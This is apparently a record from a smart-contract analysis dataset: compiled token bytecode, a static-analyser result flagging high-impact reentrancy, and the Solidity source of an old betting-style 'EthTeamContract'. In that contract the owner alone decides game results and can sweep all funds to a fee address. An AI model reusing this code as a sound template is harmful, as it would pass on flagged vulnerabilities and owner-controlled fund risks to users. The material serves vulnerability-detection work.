601f19601f820116820180604052508101906111069190612872565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612daf565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a42565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112776103e8611269600f67016345785d8a0000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f819055506112ad6103e861129f601e67016345785d8a0000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136d929190612d86565b602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf91906129e8565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612ead565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116109190612fcd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490612e4d565b60405180910390fd5b60008111611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790612f2d565b60405180910390fd5b6000600a819055506008600b81905550611758610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c65750611796610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119235750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119915750600e60179054906101000a900460ff165b15611acf57600f548111156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290612e6d565b60405180910390fd5b601054816119e8846109db565b6119f29190613103565b1115611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90612f6d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7e57600080fd5b601e42611a8b9190613103565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b7a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be6576000600a819055506008600b819055505b6000611bf1306109db565b9050600e60159054906101000a900460ff16158015611c5e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c765750600e60169054906101000a900460ff165b15611c9e57611c8481611eb3565b60004790506000811115611c9c57611c9b47611dd9565b5b505b505b611cab83838361213b565b505050565b6000838311158290611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cef9190612e2b565b60405180910390fd5b5060008385611d0791906131e4565b9050809150509392505050565b600080831415611d275760009050611d89565b60008284611d35919061318a565b9050828482611d449190613159565b14611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90612eed565b60405180910390fd5b809150505b92915050565b6000611dd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214b565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e41573d6000803e3d6000fd5b5050565b6000600854821115611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390612e8d565b60405180910390fd5b6000611e966121ae565b9050611eab8184611d8f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eeb57611eea6133b9565b5b604051908082528060200260200182016040528015611f195781602001602082028036833780820191505090505b5090503081600081518110611f3157611f3061338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd357600080fd5b505afa158015611fe7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200b9190612872565b8160018151811061201f5761201e61338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611452565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120ea959493929190612fe8565b600060405180830381600087803b15801561210457600080fd5b505af1158015612118573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121468383836121d9565b505050565b60008083118290612192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121899190612e2b565b60405180910390fd5b50600083856121a19190613159565b9050809150509392505050565b60008060006121bb6123a4565b915091506121d28183611d8f90919063ffffffff16565b9250505090565b6000806000806000806121eb87612403565b95509550955095509550955061224986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122de85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232a81612513565b61233484836125d0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123919190612fcd565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a000090506123d867016345785d8a0000600854611d8f90919063ffffffff16565b8210156123f65760085467016345785d8a00009350935050506123ff565b81819350935050505b9091565b60008060008060008060008060006124208a600a54600b5461260a565b92509250925060006124306121ae565b905060008060006124438e8787876126a0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb0565b905092915050565b60008082846124c49190613103565b905083811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090612ecd565b60405180910390fd5b8091505092915050565b600061251d6121ae565b905060006125348284611d1490919063ffffffff16565b905061258881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e58260085461246b90919063ffffffff16565b600881905550612600816009546124b590919063ffffffff16565b6009819055505050565b6000806000806126366064612628888a611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126606064612652888b611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126898261267b858c61246b90919063ffffffff16565b61246b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b98589611d1490919063ffffffff16565b905060006126d08689611d1490919063ffffffff16565b905060006126e78789611d1490919063ffffffff16565b9050600061271082612702858761246b90919063ffffffff16565b61246b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273c61273784613082565b61305d565b9050808382526020820190508285602086028201111561275f5761275e6133ed565b5b60005b8581101561278f57816127758882612799565b845260208401935060208301925050600181019050612762565b5050509392505050565b6000813590506127a881613703565b92915050565b6000815190506127bd81613703565b92915050565b600082601f8301126127d8576127d76133e8565b5b81356127e8848260208601612729565b91505092915050565b6000813590506128008161371a565b92915050565b6000815190506128158161371a565b92915050565b60008135905061282a81613731565b92915050565b60008151905061283f81613731565b92915050565b60006020828403121561285b5761285a6133f7565b5b600061286984828501612799565b91505092915050565b600060208284031215612888576128876133f7565b5b6000612896848285016127ae565b91505092915050565b600080604083850312156128b6576128b56133f7565b5b60006128c485828601612799565b92505060206128d585828601612799565b9150509250929050565b6000806000606084860312156128f8576128f76133f7565b5b600061290686828701612799565b935050602061291786828701612799565b92505060406129288682870161281b565b9150509250925092565b60008060408385031215612949576129486133f7565b5b600061295785828601612799565b92505060206129688582860161281b565b9150509250929050565b600060208284031215612988576129876133f7565b5b600082013567ffffffffffffffff8111156129a6576129a56133f2565b5b6129b2848285016127c3565b91505092915050565b6000602082840312156129d1576129d06133f7565b5b60006129df848285016127f1565b91505092915050565b6000602082840312156129fe576129fd6133f7565b5b6000612a0c84828501612806565b91505092915050565b600060208284031215612a2b57612a2a6133f7565b5b6000612a398482850161281b565b91505092915050565b600080600060608486031215612a5b57612a5a6133f7565b5b6000612a6986828701612830565b9350506020612a7a86828701612830565b9250506040612a8b86828701612830565b9150509250925092565b6000612aa18383612aad565b60208301905092915050565b612ab681613218565b82525050565b612ac581613218565b82525050565b6000612ad6826130be565b612ae081856130e1565b9350612aeb836130ae565b8060005b83811015612b1c578151612b038882612a95565b9750612b0e836130d4565b925050600181019050612aef565b5085935050505092915050565b612b328161322a565b82525050565b612b418161326d565b82525050565b6000612b52826130c9565b612b5c81856130f2565b9350612b6c81856020860161327f565b612b75816133fc565b840191505092915050565b6000612b8d6023836130f2565b9150612b988261340d565b604082019050919050565b6000612bb06019836130f2565b9150612bbb8261345c565b602082019050919050565b6000612bd3602a836130f2565b9150612bde82613485565b604082019050919050565b6000612bf66022836130f2565b9150612c01826134d4565b604082019050919050565b6000612c19601b836130f2565b9150612c2482613523565b602082019050919050565b6000612c3c6021836130f2565b9150612c478261354c565b604082019050919050565b6000612c5f6020836130f2565b9150612c6a8261359b565b602082019050919050565b6000612c826029836130f2565b9150612c8d826135c4565b604082019050919050565b6000612ca56025836130f2565b9150612cb082613613565b604082019050919050565b6000612cc8601a836130f2565b9150612cd382613662565b602082019050919050565b6000612ceb6024836130f2565b9150612cf68261368b565b604082019050919050565b6000612d0e6017836130f2565b9150612d19826136da565b602082019050919050565b612d2d81613256565b82525050565b612d3c81613260565b82525050565b6000602082019050612d576000830184612abc565b92915050565b6000604082019050612d726000830185612abc565b612d7f6020830184612abc565b9392505050565b6000604082019050612d9b6000830185612abc565b612da86020830184612d24565b9392505050565b600060c082019050612dc46000830189612abc565b612dd16020830188612d24565b612dde6040830187612b38565b612deb6060830186612b38565b612df86080830185612abc565b612e0560a0830184612d24565b979650505050505050565b6000602082019050612e256000830184612b29565b92915050565b60006020820190508181036000830152612e458184612b47565b905092915050565b60006020820190508181036000830152612e6681612b80565b9050919050565b60006020820190508181036000830152612e8681612ba3565b9050919050565b60006020820190508181036000830152612ea681612bc6565b9050919050565b60006020820190508181036000830152612ec681612be9565b9050919050565b60006020820190508181036000830152612ee681612c0c565b9050919050565b60006020820190508181036000830152612f0681612c2f565b9050919050565b60006020820190508181036000830152612f2681612c52565b9050919050565b60006020820190508181036000830152612f4681612c75565b9050919050565b60006020820190508181036000830152612f6681612c98565b9050919050565b60006020820190508181036000830152612f8681612cbb565b9050919050565b60006020820190508181036000830152612fa681612cde565b9050919050565b60006020820190508181036000830152612fc681612d01565b9050919050565b6000602082019050612fe26000830184612d24565b92915050565b600060a082019050612ffd6000830188612d24565b61300a6020830187612b38565b818103604083015261301c8186612acb565b905061302b6060830185612abc565b6130386080830184612d24565b9695505050505050565b60006020820190506130576000830184612d33565b92915050565b6000613067613078565b905061307382826132b2565b919050565b6000604051905090565b600067ffffffffffffffff82111561309d5761309c6133b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310e82613256565b915061311983613256565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314e5761314d61332c565b5b828201905092915050565b600061316482613256565b915061316f83613256565b92508261317f5761317e61335b565b5b828204905092915050565b600061319582613256565b91506131a083613256565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d9576131d861332c565b5b828202905092915050565b60006131ef82613256565b91506131fa83613256565b92508282101561320d5761320c61332c565b5b828203905092915050565b600061322382613236565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327882613256565b9050919050565b60005b8381101561329d578082015181840152602081019050613282565b838111156132ac576000848401525b50505050565b6132bb826133fc565b810181811067ffffffffffffffff821117156132da576132d96133b9565b5b80604052505050565b60006132ee82613256565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133215761332061332c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370c81613218565b811461371757600080fd5b50565b6137238161322a565b811461372e57600080fd5b50565b61373a81613256565b811461374557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dcf85898f6596bc4abdbb6caf08d2fcf164c3726ed81c2f9a73cd823efccebdf64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,319 |
0x7a2ac9691ce2fcffb9777311c14a82a6aec7e639
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title StandardToken
* @dev https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol
* @dev Standard ERC20 token
*/
contract StandardToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) internal balances_;
mapping(address => mapping(address => uint256)) internal allowed_;
uint256 internal totalSupply_;
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed_ to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[msg.sender]);
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances_[_from]);
require(_value <= allowed_[_from][msg.sender]);
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
/**
* @title EthTeamContract
* @dev The team token. One token represents a team. EthTeamContract is also a ERC20 standard token.
*/
contract EthTeamContract is StandardToken, Ownable {
event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue);
event BeginGame(address indexed team1, address indexed team2, uint64 gameTime);
event EndGame(address indexed team1, address indexed team2, uint8 gameResult);
event ChangeStatus(address indexed team, uint8 status);
/**
* @dev Token price based on ETH
*/
uint256 public price;
/**
* @dev status=0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
*/
uint8 public status;
/**
* @dev The game start time. gameTime=0 means game time is not enabled or not started.
*/
uint64 public gameTime;
/**
* @dev If the time is older than FinishTime (usually one month after game).
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
uint64 public finishTime;
/**
* @dev The fee owner. The fee will send to this address.
*/
address public feeOwner;
/**
* @dev Game opponent, gameOpponent is also a EthTeamContract.
*/
address public gameOpponent;
/**
* @dev Team name and team symbol will be ERC20 token name and symbol. Token decimals will be 3.
* Token total supply will be 0. The initial price will be 1 szabo (1000000000000 Wei)
*/
function EthTeamContract(
string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner
) public {
name = _teamName;
symbol = _teamSymbol;
decimals = 3;
totalSupply_ = 0;
price = 1 szabo;
gameOpponent = _gameOpponent;
gameTime = _gameTime;
finishTime = _finishTime;
feeOwner = _feeOwner;
owner = msg.sender;
}
/**
* @dev Sell Or Transfer the token.
*
* Override ERC20 transfer token function. If the _to address is not this EthTeamContract,
* then call the super transfer function, which will be ERC20 token transfer.
* Otherwise, the user want to sell the token (EthTeamContract -> ETH).
* @param _to address The address which you want to transfer/sell to
* @param _value uint256 the amount of tokens to be transferred/sold
*/
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to != address(this)) {
return super.transfer(_to, _value);
}
require(_value <= balances_[msg.sender] && status == 0);
// If gameTime is enabled (larger than 1514764800 (2018-01-01))
if (gameTime > 1514764800) {
// We will not allowed to sell after game start
require(gameTime > block.timestamp);
}
balances_[msg.sender] = balances_[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
uint256 weiAmount = price.mul(_value);
msg.sender.transfer(weiAmount);
emit Transfer(msg.sender, _to, _value);
emit Sell(_to, msg.sender, _value, weiAmount);
return true;
}
/**
* @dev Buy token using ETH
* User send ETH to this EthTeamContract, then his token balance will be increased based on price.
* The total supply will also be increased.
*/
function() payable public {
require(status == 0 && price > 0);
// If gameTime is enabled (larger than 1514764800 (2018-01-01))
if (gameTime > 1514764800) {
// We will not allowed to buy after game start
require(gameTime > block.timestamp);
}
uint256 amount = msg.value.div(price);
balances_[msg.sender] = balances_[msg.sender].add(amount);
totalSupply_ = totalSupply_.add(amount);
emit Transfer(address(this), msg.sender, amount);
emit Buy(address(this), msg.sender, amount, msg.value);
}
/**
* @dev The the game status.
*
* status = 0 buyable & sellable, user can buy or sell the token.
* status=1 not buyable & not sellable, user cannot buy or sell the token.
* @param _status The game status.
*/
function changeStatus(uint8 _status) onlyOwner public {
require(status != _status);
status = _status;
emit ChangeStatus(address(this), _status);
}
/**
* @dev Finish the game
*
* If the time is older than FinishTime (usually one month after game).
* The owner has permission to transfer the balance to the feeOwner.
* The user can get back the balance using the website after this time.
*/
function finish() onlyOwner public {
require(block.timestamp >= finishTime);
feeOwner.transfer(address(this).balance);
}
/**
* @dev Start the game
*
* Start a new game. Initialize game opponent, game time and status.
* @param _gameOpponent The game opponent contract address
* @param _gameTime The game begin time. optional
*/
function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public {
require(_gameOpponent != address(this));
// 1514764800 = 2018-01-01
require(_gameTime == 0 || (_gameTime > 1514764800));
gameOpponent = _gameOpponent;
gameTime = _gameTime;
status = 0;
emit BeginGame(address(this), _gameOpponent, _gameTime);
}
/**
* @dev End the game with game final result.
*
* The function only allow to be called with the lose team or the draw team with large balance.
* We have this rule because the lose team or draw team will large balance need transfer balance to opposite side.
* This function will also change status of opposite team by calling transferFundAndEndGame function.
* So the function only need to be called one time for the home and away team.
* The new price will be recalculated based on the new balance and total supply.
*
* Balance transfer rule:
* 1. The rose team will transfer all balance to opposite side.
* 2. If the game is draw, the balances of two team will go fifty-fifty.
* 3. If game is canceled, the balance is not touched and the game states will be reset to initial states.
* 4. The fee will be 5% of each transfer amount.
* @param _gameOpponent The game opponent contract address
* @param _gameResult game result. 1=lose, 2=draw, 3=cancel, 4=win (not allow)
*/
function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public {
require(gameOpponent != address(0) && gameOpponent == _gameOpponent);
uint256 amount = address(this).balance;
uint256 opAmount = gameOpponent.balance;
require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3);
EthTeamContract op = EthTeamContract(gameOpponent);
if (_gameResult == 1) {
// Lose
if (amount > 0 && totalSupply_ > 0) {
uint256 lostAmount = amount;
// If opponent has supply
if (op.totalSupply() > 0) {
// fee is 5%
uint256 feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
// If opponent has not supply, then send the lose money to fee owner.
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else {
op.transferFundAndEndGame();
}
} else if (_gameResult == 2) {
// Draw
if (amount > opAmount) {
lostAmount = amount.sub(opAmount).div(2);
if (op.totalSupply() > 0) {
// fee is 5%
feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else if (amount == opAmount) {
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
} else if (_gameResult == 3) {
//canceled
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
endGameInternal();
if (totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
emit EndGame(address(this), _gameOpponent, _gameResult);
}
/**
* @dev Reset team token states
*
*/
function endGameInternal() private {
gameOpponent = address(0);
gameTime = 0;
status = 0;
}
/**
* @dev Reset team states and recalculate the price.
*
* This function will be called by opponent team token after end game.
* It accepts the ETH transfer and recalculate the new price based on
* new balance and total supply.
*/
function transferFundAndEndGame() payable public {
require(gameOpponent != address(0) && gameOpponent == msg.sender);
if (msg.value > 0 && totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
endGameInternal();
}
}
|
0x60806040526004361061010d5763ffffffff60e060020a600035041662203116811461026357806306fdde031461028c578063095ea7b31461031657806318160ddd1461034e578063200d2ed21461037557806323b872dd146103a0578063313ce567146103ca5780635958611e146103df57806370a08231146104115780638da5cb5b1461043257806395bc95381461046357806395d89b411461047e57806397b817c914610493578063a035b1fe146104c1578063a5d1c0c0146104d6578063a9059cbb146104eb578063b9818be11461050f578063c8a5e6d714610524578063d56b28891461052c578063dd62ed3e14610541578063f2fde38b14610568578063fef8383e14610589575b60075460009060ff1615801561012557506000600654115b151561013057600080fd5b600754635a497a0061010090910467ffffffffffffffff16111561016c576007544261010090910467ffffffffffffffff161161016c57600080fd5b60065461018090349063ffffffff61059e16565b600160a060020a0333166000908152602081905260409020549091506101ac908263ffffffff6105b316565b600160a060020a0333166000908152602081905260409020556002546101d8908263ffffffff6105b316565b600255604080518281529051600160a060020a033381169230909116916000805160206114488339815191529181900360200190a333600160a060020a031630600160a060020a03167f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e8334604051808381526020018281526020019250505060405180910390a350005b34801561026f57600080fd5b5061028a600160a060020a036004351660ff602435166105cd565b005b34801561029857600080fd5b506102a1610a5d565b6040805160208082528351818301528351919283929083019185019080838360005b8